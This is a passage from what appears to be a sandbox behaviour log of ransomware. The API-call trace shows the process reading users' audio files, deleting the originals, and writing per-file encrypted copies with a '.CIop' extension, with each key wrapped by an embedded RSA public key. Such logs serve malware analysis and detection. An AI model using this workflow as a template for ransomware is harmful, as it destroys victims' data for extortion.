dwFlags=0x0, pbData=0x655350*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655350*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0096.846] WriteFile (in: hFile=0x504, lpBuffer=0x655350*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x655350*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.846] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.847] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.847] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.848] CloseHandle (hObject=0x504) returned 1 [0096.849] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\lqlP4y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\lqlp4y.wav")) returned 0 Thread: id = 124 os_tid = 0xc78 [0096.763] lstrcpyA (in: lpString1=0x328e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.763] lstrcpyW (in: lpString1=0x328f368, lpString2="NRNil.wav" | out: lpString1="NRNil.wav") returned="NRNil.wav" [0096.763] lstrcpyW (in: lpString1=0x328f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.763] SetErrorMode (uMode=0x1) returned 0x1 [0096.763] wsprintfW (in: param_1=0x328eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\NRNil.wav") returned 60 [0096.763] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\NRNil.wav", dwFileAttributes=0x20) returned 1 [0096.764] StrStrW (lpFirst="NRNil.wav", lpSrch=".CIop") returned 0x0 [0096.764] wsprintfW (in: param_1=0x328e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\NRNil.wav.CIop") returned 65 [0096.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\NRNil.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\nrnil.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0096.764] ReadFile (in: hFile=0x4f8, lpBuffer=0x649610, nNumberOfBytesToRead=0x3fa0, lpNumberOfBytesRead=0x328e5e8, lpOverlapped=0x0 | out: lpBuffer=0x649610*, lpNumberOfBytesRead=0x328e5e8*=0x3fa0, lpOverlapped=0x0) returned 1 [0096.765] CloseHandle (hObject=0x4f8) returned 1 [0096.765] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\NRNil.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\nrnil.wav")) returned 1 [0096.810] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ed0000 [0096.810] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0096.810] SetErrorMode (uMode=0x1) returned 0x1 [0096.811] CryptAcquireContextW (in: phProv=0x328e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x328e5b8*=0x6547a0) returned 1 [0096.813] CryptGenKey (in: hProv=0x6547a0, Algid=0x1, dwFlags=0x4000, phKey=0x328e5bc | out: phKey=0x328e5bc*=0x6490b8) returned 1 [0096.825] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x328e5ec | out: pbData=0x0*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0096.825] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ee0000, pdwDataLen=0x328e5ec | out: pbData=0x2ee0000*, pdwDataLen=0x328e5ec*=0x94) returned 1 [0096.825] CryptDestroyKey (hKey=0x6490b8) returned 1 [0096.826] CryptReleaseContext (hProv=0x6547a0, dwFlags=0x0) returned 1 [0096.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\NRNil.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\nrnil.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0096.826] WriteFile (in: hFile=0x4f8, lpBuffer=0x649610*, nNumberOfBytesToWrite=0x3fa0, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x649610*, lpNumberOfBytesWritten=0x328e5d8*=0x3fa0, lpOverlapped=0x0) returned 1 [0096.827] SetFilePointer (in: hFile=0x4f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3fa0 [0096.827] WriteFile (in: hFile=0x4f8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x328e5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.827] SetFilePointer (in: hFile=0x4f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3fa7 [0096.827] SetErrorMode (uMode=0x1) returned 0x1 [0096.827] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.827] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x328d5b8, pcbBinary=0x328d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.827] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x328d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598 | out: pvStructInfo=0x328d5a0, pcbStructInfo=0x328d598) returned 1 [0096.827] CryptAcquireContextW (in: phProv=0x328d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x328d5a8*=0x6551b8) returned 1 [0096.827] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6551b8, dwCertEncodingType=0x1, pInfo=0x5c1030, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x328d5b0 | out: phKey=0x328d5b0*=0x6492b8) returned 1 [0096.827] CryptEncrypt (in: hKey=0x6492b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x328d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x328d5b4*=0x80) returned 1 [0096.827] CryptEncrypt (in: hKey=0x6492b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655570*, pdwDataLen=0x328d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655570*, pdwDataLen=0x328d5a4*=0x80) returned 1 [0096.827] WriteFile (in: hFile=0x4f8, lpBuffer=0x655570*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328e5d8, lpOverlapped=0x0 | out: lpBuffer=0x655570*, lpNumberOfBytesWritten=0x328e5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.828] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.828] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.828] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.828] CloseHandle (hObject=0x4f8) returned 1 [0096.829] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\NRNil.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\nrnil.wav")) returned 0 Thread: id = 125 os_tid = 0xc74 [0096.873] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.873] lstrcpyW (in: lpString1=0x2fef368, lpString2="rKQbOo.m4a" | out: lpString1="rKQbOo.m4a") returned="rKQbOo.m4a" [0096.873] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.873] SetErrorMode (uMode=0x1) returned 0x1 [0096.873] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\rKQbOo.m4a") returned 61 [0096.873] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\rKQbOo.m4a", dwFileAttributes=0x20) returned 1 [0096.873] StrStrW (lpFirst="rKQbOo.m4a", lpSrch=".CIop") returned 0x0 [0096.873] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\rKQbOo.m4a.CIop") returned 66 [0096.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\rKQbOo.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\rkqboo.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0096.874] ReadFile (in: hFile=0x500, lpBuffer=0x656668, nNumberOfBytesToRead=0xeb59, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x2fee5e8*=0xeb59, lpOverlapped=0x0) returned 1 [0096.875] CloseHandle (hObject=0x500) returned 1 [0096.875] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\rKQbOo.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\rkqboo.m4a")) returned 1 [0096.876] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0096.876] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0096.877] SetErrorMode (uMode=0x1) returned 0x1 [0096.877] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x654690) returned 1 [0096.879] CryptGenKey (in: hProv=0x654690, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x6490b8) returned 1 [0096.917] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.918] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.918] CryptDestroyKey (hKey=0x6490b8) returned 1 [0096.918] CryptReleaseContext (hProv=0x654690, dwFlags=0x0) returned 1 [0096.918] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\rKQbOo.m4a.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\rkqboo.m4a.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0096.918] WriteFile (in: hFile=0x500, lpBuffer=0x656668*, nNumberOfBytesToWrite=0xeb59, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x2fee5d8*=0xeb59, lpOverlapped=0x0) returned 1 [0096.920] SetFilePointer (in: hFile=0x500, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xeb59 [0096.920] WriteFile (in: hFile=0x500, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.920] SetFilePointer (in: hFile=0x500, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xeb60 [0096.920] SetErrorMode (uMode=0x1) returned 0x1 [0096.920] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.920] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.920] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.920] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x6554e8) returned 1 [0096.920] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6554e8, dwCertEncodingType=0x1, pInfo=0x5c0dc0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x6495b8) returned 1 [0096.920] CryptEncrypt (in: hKey=0x6495b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.920] CryptEncrypt (in: hKey=0x6495b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x654a48*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x654a48*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.920] WriteFile (in: hFile=0x500, lpBuffer=0x654a48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x654a48*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.920] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.921] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.921] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.922] CloseHandle (hObject=0x500) returned 1 [0096.923] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\rKQbOo.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\rkqboo.m4a")) returned 0 Thread: id = 126 os_tid = 0xcac [0096.953] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.953] lstrcpyW (in: lpString1=0x2fef368, lpString2="zdZ3oJ-bfmJu.wav" | out: lpString1="zdZ3oJ-bfmJu.wav") returned="zdZ3oJ-bfmJu.wav" [0096.953] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\" [0096.953] SetErrorMode (uMode=0x1) returned 0x1 [0096.954] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav") returned 67 [0096.954] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav", dwFileAttributes=0x20) returned 1 [0096.954] StrStrW (lpFirst="zdZ3oJ-bfmJu.wav", lpSrch=".CIop") returned 0x0 [0096.954] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav.CIop") returned 72 [0096.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\zdz3oj-bfmju.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x380 [0096.954] ReadFile (in: hFile=0x380, lpBuffer=0x63ccf8, nNumberOfBytesToRead=0x4c94, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesRead=0x2fee5e8*=0x4c94, lpOverlapped=0x0) returned 1 [0096.955] CloseHandle (hObject=0x380) returned 1 [0096.955] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\zdz3oj-bfmju.wav")) returned 1 [0096.956] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0096.956] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0096.956] SetErrorMode (uMode=0x1) returned 0x1 [0096.956] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x654690) returned 1 [0096.959] CryptGenKey (in: hProv=0x654690, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x649278) returned 1 [0096.990] CryptExportKey (in: hKey=0x649278, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.991] CryptExportKey (in: hKey=0x649278, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.991] CryptDestroyKey (hKey=0x649278) returned 1 [0096.991] CryptReleaseContext (hProv=0x654690, dwFlags=0x0) returned 1 [0096.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\ZZaKb_aT-x EADqBsw\\zdZ3oJ-bfmJu.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\zzakb_at-x eadqbsw\\zdz3oj-bfmju.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x380 [0096.991] WriteFile (in: hFile=0x380, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0x4c94, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x2fee5d8*=0x4c94, lpOverlapped=0x0) returned 1 [0096.992] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4c94 [0096.992] WriteFile (in: hFile=0x380, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.992] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4c9b [0096.992] SetErrorMode (uMode=0x1) returned 0x1 [0096.992] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho 